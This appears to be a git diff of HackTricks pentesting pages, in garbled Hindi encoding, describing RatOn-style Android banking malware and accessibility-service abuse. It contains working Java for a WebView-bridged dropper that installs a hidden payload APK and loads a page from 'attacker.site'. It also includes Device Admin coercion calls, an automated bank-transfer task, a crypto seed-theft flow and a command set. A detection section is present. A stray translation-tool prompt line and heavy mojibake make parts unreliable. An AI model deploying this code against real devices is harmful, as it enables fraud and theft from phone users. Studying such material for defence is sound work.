рдЬреЛ dropper рдХреЗ assets рдореЗрдВ рдмрдВрдбрд▓ рдХрд┐рдП рдЧрдП second-stage APK рдХреЛ install рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЙрд╕реЗ рд╕реАрдзреЗ рд▓реЙрдиреНрдЪ рдХрд░ рджреЗрддрд╛ рд╣реИред + +Minimal pattern: +```java +public class DropperActivity extends Activity { +@Override protected void onCreate(Bundle b){ +super.onCreate(b); +WebView wv = new WebView(this); +wv.getSettings().setJavaScriptEnabled(true); +wv.addJavascriptInterface(new Object(){ +@android.webkit.JavascriptInterface +public void installApk(){ +try { +PackageInstaller pi = getPackageManager().getPackageInstaller(); +PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); +int id = pi.createSession(p); +try (PackageInstaller.Session s = pi.openSession(id); +InputStream in = getAssets().open("payload.apk"); +OutputStream out = s.openWrite("base.apk", 0, -1)){ +byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); +} +PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); +pi.commit(id, status.getIntentSender()); +} catch (Exception e) { /* log */ } +} +}, "bridge"); +setContentView(wv); +wv.loadUrl("https://attacker.site/install.html"); +} +} +``` +Please paste the HTML/markdown content you want translated (the file or page contents). +```html +<button onclick="bridge.installApk()">Install</button> +``` +рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рдмрд╛рдж, dropper explicit package/activity рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ payload рдХреЛ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ: +```java +Intent i = new Intent(); +i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); +startActivity(i); +``` +Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API. + +### рд╕реНрд╡реАрдХреГрддрд┐ рдлрд╝рдирд▓: Accessibility + Device Admin + follow-on runtime prompts +Stage-2 рдПрдХ WebView рдЦреЛрд▓рддрд╛ рд╣реИ рдЬреЛ тАЬAccessтАЭ рдкреЗрдЬ рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдмрдЯрди рдПрдХ exported method рдХреЛ invoke рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рдХреНрдЯрд┐рдо рдХреЛ Accessibility settings рдкрд░ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдХреЗ rogue service рдХреЛ enable рдХрд░рдиреЗ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред рдПрдХ рдмрд╛рд░ рдЕрдиреБрдорддрд┐ рдорд┐рд▓рдиреЗ рдкрд░, malware Accessibility рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдж рдХреЗ runtime permission dialogs (contacts, overlay, manage system settings, etc.) рдореЗрдВ auto-click рдХрд░рдХреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рд╡рд╛ рджреЗрддрд╛ рд╣реИ рдФрд░ Device Admin рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред + +- Accessibility рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдЯрд┐рдХрд▓реА рдмрд╛рдж рдХреЗ prompts рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ тАФ node-tree рдореЗрдВ тАЬAllowтАЭ/тАЬOKтАЭ рдЬреИрд╕реЗ рдмрдЯрди рдвреВрдВрдврдХрд░ рдФрд░ рдЙрди рдкрд░ рдХреНрд▓рд┐рдХ рднреЗрдЬрдХрд░ред +- Overlay permission check/request: +```java +if (!Settings.canDrawOverlays(ctx)) { +Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, +Uri.parse("package:" + ctx.getPackageName())); +ctx.startActivity(i); +} +``` +рдЗрдиреНрд╣реЗрдВ рднреА рджреЗрдЦреЗрдВ: + +{{#ref}} +../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +{{#endref}} + +### Overlay phishing/ransom (WebView рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) +рдСрдкрд░реЗрдЯрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +- рдПрдХ URL рд╕реЗ рдкреВрд░реНрдг-рд╕реНрдХреНрд░реАрди рдУрд╡рд░рд▓реЗ рд░реЗрдВрдбрд░ рдХрд░рдирд╛, рдпрд╛ +- рдЗрдирд▓рд╛рдЗрди HTML рдкрд╛рд╕ рдХрд░рдирд╛ рдЬрд┐рд╕реЗ WebView рдУрд╡рд░рд▓реЗ рдореЗрдВ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПред + +рд╕рдВрднрд╛рд╡рд┐рдд рдЙрдкрдпреЛрдЧ: coercion (PIN entry), wallet рдЦреЛрд▓рдХрд░ PIN рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛, ransom рд╕рдВрджреЗрд╢ рднреЗрдЬрдирд╛ред рдпрджрд┐ рдУрд╡рд░рд▓реЗ рдЕрдиреБрдорддрд┐ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ рддреЛ рдЙрд╕реЗ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдорд╛рдВрдб рд░рдЦреЗрдВред + +### Remote control model тАУ text pseudo-screen + screen-cast +- рдХрдо-рдмреИрдВрдбрд╡рд┐рдбреНрде: Accessibility node tree рдХреЛ рдЖрд╡рдзрд┐рдХ рд░реВрдк рд╕реЗ dump рдХрд░реЗрдВ, рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ texts/roles/bounds рдХреЛ serialize рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ pseudo-screen рдХреЗ рд░реВрдк рдореЗрдВ C2 рдкрд░ рднреЗрдЬреЗрдВ (commands like `txt_screen` once and `screen_live` continuous)ред +- рдЙрдЪреНрдЪ-рдирд┐рд╖реНрдард╛: MediaProjection рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ рдФрд░ рдорд╛рдВрдЧ рдкрд░ screen-casting/recording рд╢реБрд░реВ рдХрд░реЗрдВ (commands like `display` / `record`)ред + +### ATS playbook (bank app automation) +рдПрдХ JSON task рджрд┐рдП рдЬрд╛рдиреЗ рдкрд░, рдмреИрдВрдХ рдРрдк рдЦреЛрд▓реЗрдВ, Accessibility рдХреЗ рдЬрд░рд┐рдП UI рдХреЛ text queries рдФрд░ coordinate taps рдХреЗ рдорд┐рд╢реНрд░рдг рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░реЗрдВ, рдФрд░ рд╕рдВрдХреЗрдд рдорд┐рд▓рдиреЗ рдкрд░ рдкреАрдбрд╝рд┐рдд рдХрд╛ payment PIN рджрд░реНрдЬ рдХрд░реЗрдВред + +Example task: +```json +{ +"cmd": "transfer", +"receiver_address": "ACME s.r.o.", +"account": "123456789/0100", +"amount": "24500.00", +"name": "ACME" +} +``` +Example texts seen in one target flow (CZ тЖТ EN): +- "Nov├б platba" тЖТ "рдирдпрд╛ рднреБрдЧрддрд╛рди" +- "Zadat platbu" тЖТ "рднреБрдЧрддрд╛рди рджрд░реНрдЬ рдХрд░реЗрдВ" +- "Nov├╜ p┼Щ├нjemce" тЖТ "рдирдпрд╛ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛" +- "Dom├бc├н ─Н├нslo ├║─Нtu" тЖТ "рдШрд░реЗрд▓реВ рдЦрд╛рддрд╛ рд╕рдВрдЦреНрдпрд╛" +- "Dal┼б├н" тЖТ "рдЕрдЧрд▓рд╛" +- "Odeslat" тЖТ "рднреЗрдЬреЗрдВ" +- "Ano, pokra─Нovat" тЖТ "рд╣рд╛рдБ, рдЬрд╛рд░реА рд░рдЦреЗрдВ" +- "Zaplatit" тЖТ "рднреБрдЧрддрд╛рди рдХрд░реЗрдВ" +- "Hotovo" тЖТ "рд╣реЛ рдЧрдпрд╛" + +рдСрдкрд░реЗрдЯрд░реНрд╕ `check_limit` рдФрд░ `limit` рдЬреИрд╕реЗ рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░рд╛рдВрд╕рдлрд░ рд╕реАрдорд╛рдПрдБ рднреА рдЪреЗрдХ/рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ limits UI рдореЗрдВ рд╕рдорд╛рди рд░реВрдк рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рддреЗ рд╣реИрдВред + +### Crypto wallet seed extraction +Targets рдЬреИрд╕реЗ MetaMask, Trust Wallet, Blockchain.com, Phantomред Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate itред рдиреЗрд╡рд┐рдЧреЗрд╢рди рдХреЛ рд╡рд┐рднрд┐рдиреНрди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рд╕реНрдерд┐рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП locale-aware selectors (EN/RU/CZ/SK) рд▓рд╛рдЧреВ рдХрд░реЗрдВред + +### Device Admin coercion +Device Admin APIs рдХрд╛ рдЙрдкрдпреЛрдЧ PIN-capture рдХреЗ рдЕрд╡рд╕рд░ рдмрдврд╝рд╛рдиреЗ рдФрд░ рдкреАрдбрд╝рд┐рдд рдХреЛ рдкрд░реЗрд╢рд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: + +- рддрддреНрдХрд╛рд▓ рд▓реЙрдХ: +```java +dpm.lockNow(); +``` +- рд╡рд░реНрддрдорд╛рди credential рдХреА рдЕрд╡рдзрд┐ рд╕рдорд╛рдкреНрдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдзреНрдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (Accessibility рдирдП PIN/password рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ): +```java +dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner +``` +- keyguard рдмрд╛рдпреЛрдореЗрдЯреНрд░рд┐рдХ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдХреЗ рдЧреИрд░-рдмрд╛рдпреЛрдореЗрдЯреНрд░рд┐рдХ рдЕрдирд▓реЙрдХ рдХреЛ рдордЬрдмреВрд░ рдХрд░реЗрдВ: +```java +dpm.setKeyguardDisabledFeatures(admin, +DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); +``` +Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM. + +### NFC рд░рд┐рд▓реЗ рд╕рдордиреНрд╡рдп (NFSkate) +Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS. + +Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). + +### Operator command set (sample) +- UI/state: `txt_screen`, `screen_live`, `display`, `record` +- Social: `send_push`, `Facebook`, `WhatsApp` +- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint` +- Wallets: `metamask`, `trust`, `blockchain`, `phantom` +- ATS: `transfer`, `check_limit`, `limit` +- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` +- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` +- NFC: `nfs`, `nfs_inject` + +### Detection & defence ideas (RatOn-style) +- WebViews рдореЗрдВ `addJavascriptInterface()` рд╡рд╛рд▓реЗ рдкреЗрдЬреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ installer/permission methods рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддреЗ рд╣реИрдВ; рдРрд╕реЗ рдкреЗрдЬ рдЬреЛ тАЬ/accessтАЭ рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ Accessibility prompts рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред +- рдЙрди рдРрдкреНрд╕ рдкрд░ рдЕрд▓рд░реНрдЯ рдХрд░реЗрдВ рдЬреЛ service access рджрд┐рдП рдЬрд╛рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж high-rate Accessibility gestures/clicks рдЬрдирд░реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ; telemetry рдЬреЛ Accessibility node dumps рдЬреИрд╕реА рджрд┐рдЦрддреА рд╣реИ рдФрд░ C2 рдХреЛ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИред +- рдЕрдирдЯреНрд░рд╕реНрдЯреЗрдб рдРрдкреНрд╕ рдореЗрдВ Device Admin policy рдмрджрд▓рд╛рд╡реЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдВ: `lockNow`, password expiration, keyguard feature togglesред +- non-corporate apps рд╕реЗ MediaProjection prompts рдкрд░ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж periodic frame uploads рдкрд░ рдЕрд▓рд░реНрдЯ рдХрд░реЗрдВред +- рдХрд┐рд╕реА рдРрдк рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдП рдЧрдП external NFC-relay app рдХреА installation/launch рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред +- рдмреИрдВрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП: out-of-band confirmations, biometrics-binding, рдФрд░ on-device automation рдХреЗ рдкреНрд░рддрд┐ resistant transaction-limits рд▓рд╛рдЧреВ рдХрд░реЗрдВред + ## рд╕рдВрджрд░реНрдн - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) - [Luban тАУ Android image compression library](https://github.com/Curzibn/Luban) - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) - [Firebase Cloud Messaging тАФ Docs](https://firebase.google.com/docs/cloud-messaging) +- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +- [GhostTap/NFSkate тАУ NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md index 82147f875..e68a03c19 100644 --- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md @@ -2,23 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -## Overview +## рдЕрд╡рд▓реЛрдХрди -`AccessibilityService` рдХреЛ рд╡рд┐рдХрд▓рд╛рдВрдЧрддрд╛ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ Android рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, рд╡рд╣реА **рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдСрдЯреЛрдореЗрд╢рди APIs** (рд╡реИрд╢реНрд╡рд┐рдХ рдиреЗрд╡рд┐рдЧреЗрд╢рди, рдкрд╛рда рдЗрдирдкреБрдЯ, рдЗрд╢рд╛рд░рд╛ рд╡рд┐рддрд░рдг, рдУрд╡рд░рд▓реЗ рд╡рд┐рдВрдбреЛрдЬтАж) рдХреЛ рдореИрд▓рд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рд╣рдерд┐рдпрд╛рд░ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ _рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд┐рдирд╛_ рд╣реИрдВрдбрд╕реЗрдЯ рдХрд╛ **рдкреВрд░реНрдг рджреВрд░рд╕реНрде рдирд┐рдпрдВрддреНрд░рдг** рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +`AccessibilityService` рдХреЛ рд╡рд┐рдХрд▓рд╛рдВрдЧрддрд╛рдУрдВ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ Android рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рд╡рд╣реА **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windowsтАж) рдорд╛рд▓рд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рд╣рдерд┐рдпрд╛рд░рдмрдВрдж рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдмрд┐рдирд╛ рд░реВрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╣реИрдВрдбрд╕реЗрдЯ рдкрд░ **complete remote control** рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред -рдЖрдзреБрдирд┐рдХ Android рдмреИрдВрдХрд┐рдВрдЧ рдЯреНрд░реЛрдЬрди рдФрд░ рд░рд┐рдореЛрдЯ-рдПрдХреНрд╕реЗрд╕-рдЯреНрд░реЛрдЬрди (RATs) рдЬреИрд╕реЗ **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** рдФрд░ рдХрдИ рдЕрдиреНрдп рдЗрд╕реА рдиреБрд╕реНрдЦреЗ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реИрдВ: +рдЖрдзреБрдирд┐рдХ Android рдмреИрдВрдХрд┐рдВрдЧ рдЯреНрд░реЛрдЬрди рдФрд░ Remote-Access-Trojans (RATs) рдЬреИрд╕реЗ **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** рдФрд░ рдХрдИ рдЕрдиреНрдп рд╕рдорд╛рди рдиреБрд╕реНрдЦрд╛ рдЕрдкрдирд╛рддреЗ рд╣реИрдВ: -1. рдкреАрдбрд╝рд┐рдд рдХреЛ рдПрдХ рдзреЛрдЦрд╛рдзрдбрд╝реА рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕реЗрд╡рд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдЬрд┐рдХ-рдЗрдВрдЬреАрдирд┐рдпрд░ рдХрд░реЗрдВ ( *BIND_ACCESSIBILITY_SERVICE* рдЕрдиреБрдорддрд┐ рдХреЛ "рдЙрдЪреНрдЪ-рдЬреЛрдЦрд┐рдо" рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдкрд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░рд┐рдпрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ)ред -2. рд╕реЗрд╡рд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдПрдВ рддрд╛рдХрд┐ -* рд╕реНрдХреНрд░реАрди рдкрд░ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ рд╣рд░ UI рдЗрд╡реЗрдВрдЯ рдФрд░ рдкрд╛рда рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ, -* рдХрд┐рд╕реА рднреА рдХрд╛рд░реНрдп рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреГрддреНрд░рд┐рдо рдЗрд╢рд╛рд░реЛрдВ (`dispatchGesture`) рдФрд░ рд╡реИрд╢реНрд╡рд┐рдХ рдХреНрд░рд┐рдпрд╛рдУрдВ (`performGlobalAction`) рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ, -* **TYPE_ACCESSIBILITY_OVERLAY** рд╡рд┐рдВрдбреЛ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реИрдз рдРрдкреНрд╕ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдкреВрд░реНрдг-рд╕реНрдХреНрд░реАрди рдУрд╡рд░рд▓реЗ рдЦреАрдВрдЪреЗрдВ (рдХреЛрдИ `SYSTEM_ALERT_WINDOW` рдкреНрд░реЙрдореНрдкреНрдЯ рдирд╣реАрдВ!), -* рдкреАрдбрд╝рд┐рдд рдХреА рдУрд░ рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдбрд╛рдпрд▓реЙрдЧ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рд░рдирдЯрд╛рдЗрдо рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЪреБрдкрдЪрд╛рдк рдкреНрд░рджрд╛рди рдХрд░реЗрдВред -3. рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░реЗрдВ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╕реНрдХреНрд░реАрди рдХреЛ рджреЗрдЦрддреЗ рд╕рдордп рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдореЗрдВ **On-Device-Fraud (ODF)** рдХрд░реЗрдВред +1. Social-engineer рдХрд░ рдХреЗ рдкреАрдбрд╝рд┐рдд рдХреЛ рдПрдХ rogue accessibility service рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рдирд╛ (the *BIND_ACCESSIBILITY_SERVICE* permission рдХреЛ "high-risk" рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдкрд╖реНрдЯ рдХреНрд░рд┐рдпрд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддреА рд╣реИ)ред +2. рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ +* рд╕реНрдХреНрд░реАрди рдкрд░ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ рд╣рд░ UI рдЗрд╡реЗрдВрдЯ рдФрд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛, +* рд╕рд┐рдВрдереЗрдЯрд┐рдХ gestures (`dispatchGesture`) рдФрд░ global actions (`performGlobalAction`) рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдСрдкрд░реЗрдЯрд░ рдХреА рдЗрдЪреНрдЫрд┐рдд рдХрд┐рд╕реА рднреА рдХрд╛рд░реНрдп рдХреЛ рдСрдЯреЛрдореЗрдЯ рдХрд░рдирд╛, +* рд╡реИрдз apps рдХреЗ рдКрдкрд░ full-screen overlays рдЦреАрдВрдЪрдирд╛ **TYPE_ACCESSIBILITY_OVERLAY** window type рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ (рдХреЛрдИ `SYSTEM_ALERT_WINDOW` prompt рдирд╣реАрдВ!), +* рдкреАрдбрд╝рд┐рдд рдХреА рдУрд░ рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдбрд╛рдпрд▓реЙрдЧреНрд╕ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд runtime permissions рдЪреБрдкрдХреЗ рд╕реЗ_GRANTED_ рдХрд░рдирд╛ред +3. рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдмрд┐рд▓реНрдХреБрд▓ рд╕рд╛рдорд╛рдиреНрдп рд╕реНрдХреНрд░реАрди рджреЗрдЦ рд░рд╣реЗ рд╣реЛрдиреЗ рдХреЗ рджреМрд░рд╛рди рд░реАрдпрд▓-рдЯрд╛рдЗрдо рдореЗрдВ **On-Device-Fraud (ODF)** рдХрд░рдирд╛ред --- -## Requesting the permission +## рдЕрдиреБрдорддрд┐ рдХрд╛ рдЕрдиреБрд░реЛрдз ```xml <!-- AndroidManifest.xml --> <service @@ -34,7 +34,7 @@ android:exported="false"> android:resource="@xml/evil_accessibility_config"/> </service> ``` -рд╕рд╛рдереА XML рдпрд╣ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдирдХрд▓реА рд╕рдВрд╡рд╛рдж рдХреИрд╕рд╛ рджрд┐рдЦреЗрдЧрд╛: +рд╕рд╣рд╛рдпрдХ XML рдпрд╣ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдирдХрд▓реА рдбрд╛рдпрд▓реЙрдЧ рдХреИрд╕рд╛ рджрд┐рдЦреЗрдЧрд╛: ```xml <?xml version="1.0" encoding="utf-8"?> <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" @@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/> ``` --- -## рд░рд┐рдореЛрдЯ UI рд╕реНрд╡рдЪрд╛рд▓рди рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдПрдБ +## рджреВрд░рд╕реНрде UI рдСрдЯреЛрдореЗрд╢рди рдореВрд▓рднреВрдд рддрддреНрд╡ ```java public class EvilService extends AccessibilityService { @Override @@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul } } ``` -рдЗрди рджреЛ APIs рдХреЗ рд╕рд╛рде, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: -* рд╕реНрдХреНрд░реАрди рдХреЛ рдЕрдирд▓реЙрдХ рдХрд░реЗрдВ, рдмреИрдВрдХрд┐рдВрдЧ рдРрдк рдЦреЛрд▓реЗрдВ, рдЗрд╕рдХреЗ UI рдкреЗрдбрд╝ рдореЗрдВ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░реЗрдВ рдФрд░ рдПрдХ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдлреЙрд░реНрдо рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред -* рд╣рд░ рдЕрдиреБрдорддрд┐ рд╕рдВрд╡рд╛рдж рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ рдЬреЛ рдкреЙрдк рдЕрдк рд╣реЛрддрд╛ рд╣реИред -* рдкреНрд▓реЗ рд╕реНрдЯреЛрд░ рдЗрд░рд╛рджреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд APKs рд╕реНрдерд╛рдкрд┐рдд/рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред +рдХреЗрд╡рд▓ рдЗрди рджреЛ APIs рдХреЗ рд╕рд╛рде рдПрдХ 